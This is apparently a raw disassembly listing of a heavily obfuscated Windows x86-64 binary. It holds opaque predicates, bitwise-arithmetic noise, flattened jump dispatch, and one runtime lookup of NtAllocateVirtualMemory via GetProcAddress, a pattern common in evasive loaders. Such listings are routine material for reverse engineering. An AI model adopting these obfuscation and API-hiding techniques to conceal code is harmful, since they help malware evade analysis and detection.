mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x4ae1a6f0
mov edx, 0x637a602f
cmovne eax, edx
test cl, 1
mov ecx, 0x4ae1a6f0
cmovne ecx, eax
jmp 0x1400ba675
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x87b3d20c
and edx, ecx
and ecx, 0x784c2df3
or ecx, ebp
mov ebp, ecx
xor ebp, 0x70440d82
xor ecx, 0x87b3d20c
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x80af071
and ebp, 0xf7f50f8e
or ebp, edi
or ecx, ebx
and ebx, 0x80af071
and edx, 0xf7f50f8e
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x6a677f07
and edx, ecx
and ecx, 0x959880f8
or ecx, ebp
mov ebp, ecx
xor ebp, 0x819800a8
xor ecx, 0x6a677f07
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5c448d57
and ebp, 0xa3bb72a8
or ebp, edi
or ecx, ebx
and ebx, 0x5c448d57
and edx, 0xa3bb72a8
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete r8b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
xor cl, al
and cl, al
or bl, cl
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov ebx, eax
or bl, r8b
xor al, r8b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x76d5862d
mov ebp, 0xe351e585
cmovne eax, ebp
test dl, 1
mov ecx, eax
cmovne ecx, ebp
jmp 0x1400ba675
mov ecx, 0xb102cfd5
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xe51eb21
and ecx, 0xf1ae14de
or ecx, edx
mov ebp, ecx
xor ebp, 0xe51eb21
mov edi, ecx
xor edi, 0xf1ae14de
mov ebx, edi
and ebx, 0x88c54e9f
mov edx, ecx
xor edx, 0x8694a5be
and edx, ebp
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x773ab161
and edx, 0x88c54e9e
or edx, ebp
and edi, 1
xor ecx, 0xf1ae14df
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xe15fb68c
and ecx, 0x1ea04973
or ecx, ebp
xor ecx, 0x1ea04973
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
sete r10b
setne r9b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
mov edx, r9d
xor dl, r10b
and dl, r9b
mov ecx, edx
not cl
and cl, dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov ebx, eax
xor bl, cl
not bl
and bl, cl
or cl, al
mov edx, ecx
xor dl, bl
xor bl, 1
xor dl, 1
or bl, cl
xor bl, 1
or bl, dl
and r8b, r10b
and r9b, al
or r9b, r8b
mov ecx, eax
and cl, r10b
xor al, r10b
or al, cl
xor al, 1
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r8d, ecx
xor r8b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r8b
mov ebx, edx
and dl, al
xor al, 1
xor bl, 1
and bl, al
or dl, bl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x6fa6b60f
mov ebp, 0xf339a7d1
cmovne eax, ebp
test cl, 1
mov ecx, 0x6fa6b60f
jmp 0x1400bb907
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ecx, ebp
and edx, ebx
or edx, ecx
not edx
or edx, ebp
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
and bl, r8b
or cl, bl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x71a614cb
mov ebp, 0xadfa5a70
cmovne eax, ebp
test cl, 1
mov ecx, 0x71a614cb
jmp 0x1400bc0e1
mov edx, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebx, eax
or ebx, 1
mov ebp, ebx
not ebp
mov edi, eax
or edi, 0x15a8c4f6
and ebx, 0x15a8c4f6
and ebp, 0xea573b08
or ebp, ebx
and edi, 0x15a8c4f7
xor edi, ebp
and edx, 0x61128432
and eax, 0x9eed7bcd
or eax, edx
mov edx, eax
xor edx, 0x9eed7bcd
xor eax, 0x61128432
and eax, edi
not edi
and edx, edi
or eax, edx
xor edi, eax
test edi, eax
setne r8b
sete r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r10b
mov edx, r10d
xor dl, al
and dl, r10b
mov r11d, r9d
xor r11b, r8b
and r11b, r9b
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
mov esi, ecx
and sil, bl
xor bl, cl
or bl, sil
or cl, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov ebx, r11d
xor bl, 1
mov edx, ebx
and dl, r11b
mov esi, ebx
and sil, dl
xor dl, bl
or dl, sil
xor dl, 1
or bl, r11b
xor bl, 1
mov r11d, edx
and r11b, bl
xor bl, dl
or bl, r11b
xor cl, 1
mov edx, ecx
xor dl, bl
xor dl, 1
and dl, bl
or cl, bl
mov ebx, ecx
xor bl, dl
xor dl, 1
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
and r9b, al
and r10b, r8b
or r10b, r9b
mov ecx, eax
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
xor cl, 1
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x4a8b0e45
mov ebp, 0xca2f80fb
cmovne ecx, ebp
test dl, 1
mov edx, 0x4a8b0e45
cmovne ecx, edx
test al, 1
jmp 0x1400bb784
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x991dcf1d
and edx, 0x66e230e2
or edx, ecx
mov ebp, edx
xor ebp, 0x24e200e0
xor edx, 0x991dcf1d
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0x5a057703
and ebp, 0xa5fa88fc
or ebp, edx
mov edx, ebp
xor edx, 0x216200e9
xor ebp, 0x5a057702
mov edi, ecx
and edi, 0x8e99e816
and ebx, 0x716617e8
or ebx, edi
or ecx, ebp
and ebp, 0x8e99e816
and edx, 0x716617e9
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x614feb7e
and edx, ecx
and ecx, 0x9eb01481
or ecx, ebp
mov ebp, ecx
xor ebp, 0x88000080
xor ecx, 0x614feb7e
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x57ff7441
and ebp, 0xa8008bbe
or ebp, edi
or ecx, ebx
and ebx, 0x57ff7441
and edx, 0xa8008bbe
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x97926601
and ecx, 0x686d99fe
or ecx, ebp
xor ecx, 0x97926601
xor edx, ecx
test edx, ecx
sete r8b
setne cl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov edx, ecx
or dl, al
xor cl, al
not cl
and cl, al
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor r9b, r8b
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0x169b6df2
mov edx, 0x47e3db55
cmovne eax, edx
test bl, 1
mov ebp, 0x169b6df2
cmove eax, ebp
test cl, 1
jmp 0x1400bad05
mov ecx, 0x41b718e8
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ecx
and edx, 0x1f7d95aa
xor ecx, 0x91a62e04
and ecx, ebp
and ebp, 0xe0826a55
or ebp, edx
mov ebx, ebp
xor ebx, 0xe0826a55
mov edx, ebx
and edx, 0x6e59d1fb
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x91a62e05
and ecx, 0x6e59d1fa
or ecx, edx
and ebx, 1
xor ebp, 0xe0826a54
or ebp, ebx
mov ebx, ebp
not ebx
mov edx, ecx
not edx
mov edi, edx
and edi, 0x18113491
and ecx, 0xe7eecb6e
or ecx, edi
or edx, ebp
and ebp, 0x18113491
and ebx, 0xe7eecb6e
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xe95f30b7
and ecx, edx
and edx, 0x16a0cf48
or edx, ebp
xor edx, 0x16a0cf48
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
sete r8b
setne cl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl r10b
mov eax, r10d
xor al, cl
not al
and al, cl
or cl, r10b
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, r9d
xor al, r8b
and al, r9b
xor r10b, r8b
mov ebx, eax
and bl, r10b
xor r10b, al
or r10b, bl
mov eax, r10d
xor al, 1
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
and al, r10b
mov r8d, edx
xor r8b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r8b
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
xor al, bl
mov ecx, edx
and cl, r10b
xor dl, r10b
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x89cfd226
mov ebp, 0xa68f2e85
cmovne ecx, ebp
test dl, 1
mov edx, 0x89cfd226
jmp 0x1400b9473
mov ecx, 0x4ccf1227
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov rcx, qword [0x14024b040]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x8ed728de
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xb4fa8b14
mov edx, edi
and edx, 0x4b0574ea
or edx, ebp
xor edx, 0x4b0574ea
mov ebx, edi
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x85e4e420
and ebx, 0x7a1b1bdf
or ebx, ebp
and edi, 0x85e4e420
and ecx, 0x7a1b1bdf
or ecx, edi
xor ecx, ebx
xor edx, ecx
test edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, edx
and al, cl
and dl, bl
and bl, r8b
or bl, al
mov eax, ebx
xor al, cl
and al, bl
and cl, r8b
or cl, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
and al, cl
xor cl, 1
xor bl, 1
and bl, cl
or al, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xdc91d38c
mov ebp, 0x7c66608d
cmovne edx, ebp
test cl, 1
mov ecx, 0xdc91d38c
jmp 0x1400bc2fc
mov ecx, 0x86b65f0a
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0xba89c29
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov rax, qword [rsp + 0x38]
mov qword [0x14024b058], rax
mov ecx, 0x92535015
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0x3c8e0330
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebx, [rdx - 1]
imul ebx, edx
mov esi, ebx
not esi
mov edx, esi
and edx, 0xe88a040
mov ecx, ebx
and ecx, 0x1264092
or ecx, edx
mov edx, ecx
xor edx, 0x1244002
xor ecx, 0xccd08325
mov edi, esi
or edi, 0xfaee0d2
mov ebp, edi
not ebp
and ecx, 0xccd283b5
and edx, 0x32c6042
or edx, ecx
and edi, 0xccd283b5
and ebp, 0x30011c08
or ebp, edi
xor ebp, edx
mov ecx, ebp
not ecx
and ecx, 0xf0511f2c
and ebp, 0xfaee0d3
or ebp, ecx
not ebp
and esi, 0x83d7919d
and ebx, 0x7c286e62
or ebx, esi
xor ebx, 0x7c286e62
mov ecx, ebp
and ecx, ebx
xor ebx, ebp
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and dl, bl
or bl, r8b
xor bl, 1
or bl, cl
and al, r8b
or al, dl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x72815ed1
mov ebp, 0x7c0358c8
cmovne ecx, ebp
test dl, dl
mov edx, 0x72815ed1
jmp 0x1400bb636
mov rax, qword [rsp + 0x30]
mov ecx, 0x87814d2f
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov eax, dword [0x14024b730]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x8d2a2f57
and ecx, 0x72d5d0a8
or ecx, eax
mov eax, ecx
xor eax, 0x72d5d0a8
mov edx, ecx
xor edx, 0x1080a52
and edx, 0x13589a52
xor ecx, 0xcac9d179
and ecx, eax
and eax, 0xeca765ad
or eax, edx
mov ebp, eax
xor ebp, 0xeca765ad
mov ebx, eax
xor ebx, 0xab449b83
and ebx, ebp
mov edx, ebx
not edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0x496d9443
and ebx, 0xb6926bbc
or ebx, esi
or edx, edi
and edi, 0x496d9443
and ecx, 0xb6926bbc
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x47e3fe2f
and edx, 0xb81c01d0
or edx, ecx
and ebp, 1
xor eax, 0xeca765ac
or eax, ebp
mov ebp, eax
not ebp
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x8182cd4d
and edx, 0x7e7d32b2
or edx, ebx
or ecx, eax
and eax, 0x8182cd4d
and ebp, 0x7e7d32b2
or ebp, eax
xor ebp, edx
not ecx
or ecx, ebp
mov eax, ecx
not eax
and eax, 0xaa21dea1
and ecx, 0x55de215e
or ecx, eax
mov eax, ecx
not eax
and eax, 0x55de215e
and ecx, 0xaa21dea1
or ecx, eax
sete r8b
setne cl
cmp dword [0x14024b72c], 0xa
setl al
mov ebx, ecx
xor bl, r8b
and bl, cl
mov r9d, ebx
xor r9b, 1
mov edx, r9d
and dl, bl
mov ecx, edx
xor cl, 1
xor dl, bl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov r9d, ecx
xor r9b, 1
mov ebx, eax
or bl, r8b
xor al, r8b
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor cl, al
xor al, 1
or al, r9b
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x57d178cf
mov ebp, 0x3e4ba7c1
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0x57d178cf
cmovne ecx, ebp
test al, 1
jmp 0x1400bc54f
mov rax, qword [rsp + 0x30]
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x9a59d36a
and ecx, edx
and edx, 0x65a62c95
or edx, ebp
xor edx, 0x65a62c95
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0x388431f
mov ecx, edx
and ecx, 0xfc77bce0
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x2cb98099
and ecx, 0xd3467f66
or ecx, ebx
mov ebx, ecx
xor ebx, 0x40c41000
and edx, 0xcf9a818d
mov edi, ebp
and edi, 0x30657e72
or edi, edx
xor edi, 0xcf9a818c
and ebp, 1
or ebp, edi
mov edx, ebp
not edx
and edx, 0x9775c09
and ebp, 0xf688a3f6
or ebp, edx
mov edx, ebp
xor edx, 0x60808002
xor ebp, 0x9775c09
xor ecx, 0x2f31c387
mov edi, ecx
and edi, 0x9e0b2ffd
and ebx, 0x61f4d002
or ebx, edi
or ecx, ebp
and ebp, 0x9e0b2ffd
and edx, 0x61f4d002
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xad5056bc
and edx, ecx
and ecx, 0x52afa943
or ecx, ebp
xor ecx, 0x52afa943
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x765b490c
and ecx, 0x89a4b6f3
or ecx, edx
mov edx, ecx
xor edx, 0x1a0b663
xor ecx, 0x70424108
and ecx, 0xf8464198
and edx, 0x7b9be67
or edx, ecx
mov ecx, edx
xor ecx, 0xf0404018
xor edx, 0x4991601
and edx, 0xc9f1781
and ecx, 0xf360e87e
or ecx, edx
xor ecx, 0xf360e87e
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, eax
xor cl, r10b
not cl
and cl, r10b
mov ebx, eax
or bl, r10b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
or al, r8b
and r8b, r9b
and dl, r10b
or dl, r8b
xor r9b, r10b
xor al, 1
or al, r9b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0x204f70b
mov edx, 0xc5249d1d
cmovne eax, edx
test bl, 1
mov ebp, 0x204f70b
cmovne eax, ebp
test cl, 1
jmp 0x1400baa00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x8391c92f
and edx, ecx
and ecx, 0x7c6e36d0
or ecx, ebp
xor ecx, 0x7c6e36d0
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0x2badb55f
and ebx, 0xd4524aa0
or ebx, edi
or edx, ebp
and ebp, 0x2badb55f
and ecx, 0xd4524aa0
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and edx, 0xce39304f
and ecx, 0x31c6cfb0
or ecx, edx
xor ecx, 0xce39304f
cmp ecx, 0xffffffff
setne r9b
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
or al, r8b
or r9b, cl
mov edx, r9d
xor dl, al
or r9b, al
xor r9b, 1
or r9b, dl
mov eax, ecx
or al, r8b
xor al, 1
xor cl, r8b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r8d, ecx
xor r8b, 1
mov ebx, r9d
xor bl, 1
mov edx, ebx
and dl, r9b
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
xor al, 1
and al, r8b
and dl, cl
or dl, al
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x68dd7be3
mov ebp, 0x2b1be23c
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
not al
test al, 1
mov eax, 0x68dd7be3
jmp 0x1400bbe07
mov ecx, 0xafe4d895
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0xaeec921c
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov eax, dword [0x14024b730]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x99343323
and eax, ecx
and ecx, 0x66cbccdc
or ecx, edx
xor ecx, 0x66cbccdc
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov edi, ecx
not edi
mov eax, edi
and eax, 0xd77f71e4
and ecx, 0x28808e1b
or ecx, eax
mov esi, ecx
xor esi, 0x28808e1b
mov ebx, ecx
xor ebx, 0xdd36502e
and ebx, esi
or edi, 0xa4921ca
mov ebp, edi
not ebp
mov edx, ebx
not edx
mov eax, edx
and eax, 0xe8e26419
and ebx, 0x171d9be6
or ebx, eax
or edx, edi
and edi, 0xe8e26419
and ebp, 0x15149a24
or ebp, edi
xor ebp, ebx
not edx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x50471ffa
and edx, 0xafb8e005
or edx, ebp
xor edx, 0xa5f1c1ce
xor ecx, 0x922970e4
and ecx, 0x9aa9f8fe
mov eax, esi
and eax, 0x65560701
or eax, ecx
xor eax, 0x9aa9f8ff
and esi, 1
or esi, eax
mov eax, esi
not eax
and eax, 0xc3854664
and esi, 0x3c7ab99b
or esi, eax
xor esi, 0x3c7ab99b
mov eax, edx
and eax, esi
xor esi, edx
or esi, eax
mov ecx, esi
mov eax, esi
xor eax, 0xec56312
and eax, esi
not esi
and esi, 0x6c50210
and ecx, 0x8006102
or ecx, esi
mov edx, ecx
xor edx, 0x8000102
xor ecx, 0xf7ff9efd
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0xd13ef4c9
and edx, 0xec10312
or edx, ebx
or ecx, ebp
and ebp, 0xd13ef4c9
and eax, 0x2ec10b36
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xaa008c64
and ecx, 0x55ff739b
or ecx, eax
xor ecx, 0x5b3a1089
sete r8b
setne cl
cmp dword [0x14024b72c], 0xa
setl bl
xor cl, bl
mov eax, ecx
xor al, 1
mov edx, ebx
and dl, r8b
xor bl, r8b
or bl, dl
mov edx, ecx
or dl, bl
xor bl, al
xor bl, 1
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
and bl, dl
and al, r8b
or al, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x91995c54
mov ecx, 0x9f7e2ee9
cmovne ebp, ecx
test dl, 1
mov ecx, 0x91995c54
jmp 0x1400bb77f
mov rax, qword [rsp + 0x30]
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xdb33acf9
and ecx, 0x24cc5306
or ecx, edx
mov edx, ecx
not edx
and edx, 0x24cc5306
and ecx, 0xdb33acf9
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x86836795
mov ebx, ebp
and ebx, edx
and ebp, ecx
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
mov ebx, ebp
not ebx
and ebx, 0x797c986b
and ebp, 0x86836794
or ebp, ebx
and edx, 1
xor ecx, 0xfffffffe
or ecx, edx
not ecx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
xor edx, 0xe5f14f86
and edx, ecx
not ecx
and ecx, 0xe5f14f86
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x3f730be5
and edx, 0xc08cf41a
or edx, ecx
xor edx, 0x257dbb9c
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, bl
or bl, cl
or cl, r8b
xor cl, 1
or cl, dl
mov r9d, ecx
xor r9b, 1
xor bl, 1
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and dl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
and cl, dl
xor dl, 1
and dl, r9b
or dl, cl
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xb117365a
mov ebp, 0xd3c55b90
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0xb117365a
jmp 0x1400adbf2
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x21ce1d77
and edx, 0xde31e288
or edx, ecx
mov ecx, edx
xor ecx, 0x9830c088
xor edx, 0x1421105
and edx, 0x47433305
and ecx, 0xb8bcccfa
or ecx, edx
mov edx, ecx
xor edx, 0x47433305
mov ebx, ecx
xor ebx, 0x47433304
and ebx, edx
xor ecx, 0xb09c00a8
and ecx, 0xf49d10ad
and edx, 0xb62ef52
or edx, ecx
mov ecx, edx
xor ecx, 0x60e041
mov ebp, ebx
not ebp
xor edx, 0xf49d10ac
mov edi, ebp
and edi, 0x7f871f3e
and ebx, 0x8078e0c1
or ebx, edi
or ebp, edx
and edx, 0x7f871f3e
and ecx, 0x8078e0c1
or ecx, edx
xor ecx, ebx
not ebp
or ebp, ecx
mov ecx, ebp
not ecx
and ebp, 0x98c507ed
and ecx, 0x673af812
or ecx, ebp
mov edx, ecx
xor edx, 0x88101c8
xor ecx, 0x673af812
mov ebp, ecx
and ebp, 0xd7548e37
and edx, 0x28ab71c8
or edx, ebp
xor edx, 0x28ab71c8
or edx, ecx
cmp edx, 0xffffffff
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, eax
xor bl, cl
and bl, al
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov r9d, edx
and r9b, bl
xor dl, bl
or dl, r9b
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, r8b
mov edx, ecx
and dl, r8b
xor cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xd137c938
mov ebp, 0xd6d6a003
cmovne ecx, ebp
test bl, 1
mov edx, 0xd137c938
jmp 0x1400bb636
mov r8, qword [rsp + 0x38]
mov ecx, dword [0x14024b730]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x38c524cc
mov ebp, ebx
xor ebp, 0x38c524cc
and ebp, ebx
mov edi, ecx
and edi, ebp
xor ebp, ecx
mov esi, dword [0x14024b72c]
or ebp, edi
mov ecx, ebp
not ecx
and ecx, 0xc73adb32
and ebp, 0x38c524cd
or ebp, ecx
mov ecx, ebp
not ecx
and edx, ecx
and ebp, ebx
or ebp, edx
not ebp
or ebp, ecx
